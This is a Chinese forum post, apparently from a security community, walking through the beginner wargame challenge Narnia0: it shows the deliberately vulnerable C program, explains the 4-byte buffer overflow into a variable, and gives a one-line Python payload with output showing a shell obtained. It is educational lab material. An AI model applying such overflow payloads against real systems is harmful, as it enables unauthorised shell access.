首页
论坛
专栏
课程

[原创]WarGame-narnia0 解题思路

2019-7-22 10:28 2112

[原创]WarGame-narnia0 解题思路

2019-7-22 10:28
2112

Narnia0是一个入门级的pwn游戏,wargame提供了源码会让游戏变得更简单,以下是源码

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}
buf是有20字节的空间,但是接收了24个字节,而多出来的数据只会再打印4字节,所以最终输入一共是24字节,所以需要写个Python脚本构造后面的4字节数据 ,Python脚本如下:
print "a"*20+"\xef\xbe\xad\xde"+"\x80"

注意,后面这个\x80是必须要加的,不然接收会少一个字节,这是最终的运行结果

gavin@gavin:~/warGame/narnia$ python narnia0.py 
[+] Starting local process './narnia0': pid 6054
[*] Switching to interactive mode
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
$  


可惜的是wargame不允许Python脚本的直接攻击(至少我没想到方法),所以里面所有的输入全得手工完成

小结

wargame里的小游戏都很有趣,如果有对漏洞利用感兴趣的同学可以去玩玩,Google上有很多WP,只可惜百度搜不到,我会继续出这个系列的文章,以供和我一样的新手学习




[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

上传的附件:
最新回复 (1)
白昼之月 2019-7-24 00:18
2
0
加油嗷
游客
登录 | 注册 方可回帖
返回